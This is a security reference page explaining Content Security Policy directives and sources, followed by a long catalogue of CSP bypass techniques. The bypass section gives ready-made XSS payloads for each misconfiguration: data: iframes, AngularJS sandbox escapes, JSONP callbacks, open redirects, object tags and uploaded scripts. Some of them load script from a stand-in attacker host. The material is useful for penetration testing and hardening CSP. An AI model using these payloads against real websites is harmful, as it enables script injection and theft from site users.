Content Security Policy

Search…
Content Security Policy (CSP) overview
Content Security Policy is a mechanism to define which resources can be fetched out or executed by a web page. It lists and describes paths and sources, from which the browser can safely load resources. The resources may include images, frames, javascript and more.
Content Security Policy is implemented via a response header:
1
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
Copied!
or the meta element of the HTML page:
1
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
Copied!
The browser follows the received policy and actively blocks violations as they are detected.
How does it work?
CSP works by restricting the origins that active and passive content can be loaded from. It can additionally restrict certain aspects of active content such as the execution of inline javascript, and the use of eval().
Directives
Resource loading policy are set using directives of CSP:
script-src specifies allowed sources for javascript. This includes not only URLs loaded directly into <script> elements, but also things like inline script event handlers (such as onclick) and XSLT stylesheets which can trigger script execution.
default-src defines the policy for fetching resources by default. When fetch directives are absent in CSP header the browser follows this directive by default. The list of directives which do not follow default-src:
base-uri
form-action
frame-ancestors
plugin-types
report-uri
sandbox
child-src defines valid sources for web workers and nested browsing contexts loaded using elements such as <frame> and <iframe>.
connect-src restricts URLs to load using interfaces such as <a>, fetch, websocket, XMLHttpRequest.
frame-src specifies valid sources for nested browsing contexts loading using elements such as <frame> and <iframe>.
frame-ancestors specifies sources that can embed the current page. This directive applies to <frame>, <iframe>, <object>, <embed>, and <applet> tags. This directive can't be used in <meta> tags and applies only to non-HTML resources.
img-src defines allowed sources for loadnig images on the web page.
manifest-src defines allowed sources of application manifest files.
media-src defines allowed sources from where media objects such as <audio>, <video> and <track> can be loaded.
object-src defines allowed sources for the <object>, <embed> and <applet> elements.
base-uri defines allowed URLs which can be loaded using <base> element.
form-action lists valid endpoints for submission from <form> tags. Whether form-action should block redirects after a form submission is debated and browser implementations of this aspect are inconsistent (e.g. Firefox 57 does not block the redirects whereas Chrome 63 does).
plugin-types restricts the set of plugins that can be embedded into a document by limiting the types of resources which can be loaded. Instantiation of an <embed>, <object> or <applet> elements will fail if:
the element to load does not declare a valid MIME type
the declared type does not match one of specified types in the plugin-types directive
the fetched resource does not match the declared type
upgrade-insecure-requests instructs browsers to rewrite URL schemes, changing HTTP to HTTPS. This directive can be useful for websites with large numbers of old URLs that need to be rewritten.
sandbox enables a sandbox for the requested resource similar to the <iframe> sandbox attribute. It applies restrictions to a page's actions including preventing popups, preventing the execution of plugins and scripts, and enforcing a same-origin policy.
Sources
Sources are used to define the value of the directives:
* allows any URL except data:, blob: and filesystem:.
self defines that loading of resources on the page is allowed from the same domain.
data allows loading resources via the data: scheme (eg Base64 encoded images).
none allows nothing to be loaded from any source.
unsafe-eval allows the use of eval() and similar methods for creating code from strings.
unsafe-hashes allows to enable specific inline event handlers.
unsafe-inline allows the use of inline resources, such as inline <script> elements, javascript: URLs, inline event handlers, and inline <style> elements.
nonce is a cryptographic nonce (number used once) and it is used for creating the whitelist for specific inline scripts. The server must generate a unique nonce value each time it transmits a policy.
Examples
1
Content-Security-Policy: default-src 'self'; script-src https://website.com;
Copied!
The following image will be allowed as image is loading from same domain i.e. website.com:
1
<img src="assets/images/logo.png">
Copied!
The following script will be allowed as the script is loading from the same domain i.e. website.com:
1
<script src="assets/scripts/main.js"></script>
Copied!
The following script will not-allowed as the script is trying to load from undefined domain i.e. attacker-website.com:
1
<script src=https://attacker-website.com/hook.js></script>
Copied!
The following payload will not-allowed on the page as inline scripts are blocked by default:
1
"/><script>alert(1337)</script>
Copied!
The following image will not-allowed as the image is loaded from undefined domain i.e. attacker-website.com:
1
<img src="https://attacker-website.com/image.svg">
Copied!
Since the directive is not defined in the CSP img-src is set to self and follows default-src by default.
Bypassing techniques
You can use the following online tools to check CSP:
​https://csp-evaluator.withgoogle.com/​
​https://cspvalidator.org/​
Allowed data: scheme
1
Content-Security-Policy: default-src 'self' data: *; connect-src 'self'; script-src  'self';
Copied!
Such CSP policy can be bypassed using <iframe>. The condition is that application should allow <iframe> from the whitelisted domain. Using a special attribute srcdoc of <iframe> XSS can be easily achieved. Possible payload:
1
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
Copied!
Sometimes it can be achieved using defer & async attributes of the script within <iframe> (it fails most of the time in new browser due to SOP):
1
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
Copied!
Angular JS
1
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none';
Copied!
If the application is using Angular JS and scripts are loaded from a whitelisted domain it is possible to bypass CSP policy by calling a callback function and vulnerable class. Working payloads:
1
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
2
​
3
"><script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
Copied!
References:
​H5SC Minichallenge 3: "Sh*t, it's CSP!".
Bypass using encode '/' by @SecurityMB​
1
Content-Security-Policy: script-src pastebin.com/XYZ/
Copied!
If CSP policy points to a directory and you use %2f to encode /, it is still considered to be inside the directory. All browsers seem to agree on that. If a server decodes %2f it is possible to bypass CSP by using '%2f..%2f'. Possible payload:
1
<script src="https://pastebin.com/XYZ%2f..%2fraw/b0Rajxqk"></script>
Copied!
Bypass using JSONP
1
Content-Security-Policy: script-src 'self' https://www.google.com; object-src 'none';
Copied!
If the script-src is set to self and a particular domain is whitelisted it is possible to bypass this using JSONP. JSONP endpoints allow insecure callback methods that allow an attacker to perform XSS. Possible payload:
1
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
Copied!
References:
​JSONBee contains a ready to use JSONP endpoints to CSP bypass of different websites.
Bypass using vulnerable third-library
1
Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com/; object-src 'none';
Copied!
If the script-src is set to self and a javascript library domain is whitelisted it is possible to bypass using any vulnerable version of javascript files from the library that allow you to perform XSS. Working payloads:
1
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
2
 
3
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js"></script>
4
<div ng-app ng-csp>
5
    {{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
6
</div>
7
​
8
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script>
9
<div ng-app ng-csp>
10
    {{$eval.constructor('alert(1)')()}}
11
</div>
12
​
13
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"></script>
14
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
Copied!
Bypass using open redirect
1
Content-Security-Policy: script-src 'self' accounts.google.com/random/ website-with-redirect.com; object-src 'none';
Copied!
There are two whitelisted domains from where scripts can be loaded to the webpage. If one of domains is vulnerable to open redirect you can craft a payload using redirect domain targeting to other whitelisted domains with a JSONP endpoint. XSS will execute because while redirection browser only validated host, but not the path parameters. Possible payload:
1
">'><script src="https://website-with-redirect.com/redirect?url=https%3A//accounts.google.com/o/oauth2/revoke?callback=alert(1337)"></script>">
Copied!
CSP injection
CSP policy could be generated dynamically based on variables that are controlled by a user. If the variables are not properly validated you can inject your own directives into CSP and bypass a policy.
References:
​Writeup: CSP Injection - CTFZone 2019 Quals - Shop Task​
​Writeup: Bypassing CSP with policy injection by @garethheyes​
​Writeup: How to Hack Apple ID​
unsafe-eval
1
Content-Security-Policy: script-src https://facebook.com https://google.com 'unsafe-eval' data: http://*; child-src 'none';
Copied!
This is a misconfigured CSP policy due to usage of unsafe-eval. Possible payload:
1
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
Copied!
unsafe-inline
1
Content-Security-Policy: script-src https://facebook.com https://google.com 'unsafe-inline' https://*; child-src 'none';
Copied!
This policy will allow inline scripting due to usage of unsafe-inline. Possible payload:
1
"/><script>alert(1337);</script>
Copied!
Missing default-src
1
Content-Security-Policy: script-src 'self';
Copied!
This is a misconfigured CSP policy due to missing default-src, allowing use object-src. Possible payloads:
1
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
2
​
3
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
4
​
5
<param name="AllowScriptAccess" value="always"></object>
Copied!
Script gadgets
You can use script gadgets to bypass CSP even if a nonce-based policy is in use, since the gadget is usually allowed to execute JavaScript.
References:
​PortSwigger: Hunting nonce-based CSP bypasses with dynamic analysis​
Uploading files
1
Content-Security-Policy: script-src 'self'; object-src 'none';
Copied!
If the application allows users to upload any type of file to the host you can upload a malicious script and call it within a tag. Possible payload:
1
"/>'><script src="/uploads/picture.png.js"></script>
Copied!
Weak nonce generation
If nonce value is generated by a weak generator or its value can be guessed at, you can bypass a policy by generating the correct nonce.
References:
​Writeup: Bug Bounty Stories #1: Tale of CSP bypass in an electron app!​
Wildcard in script-src
1
Content-Security-Policy: script-src 'self' https://facebook.com https://google.com https: data *; child-src 'none';
Copied!
This is a misconfigured CSP policy due to usage of a wildcard in script-src. Possible payloads:
1
"/>'><script src=https://attacker-website.com/evil.js></script>
2
"/>'><script src=data:text/javascript,alert(1337)></script>
Copied!
References
​Content-Security-Policy (CSP) Bypass Techniques​
​Deteact: Content Security Policy Bypass​
​ZN2018: CSP by Ivan Chalykin​
​Write up: CSP bypass by base tag injection​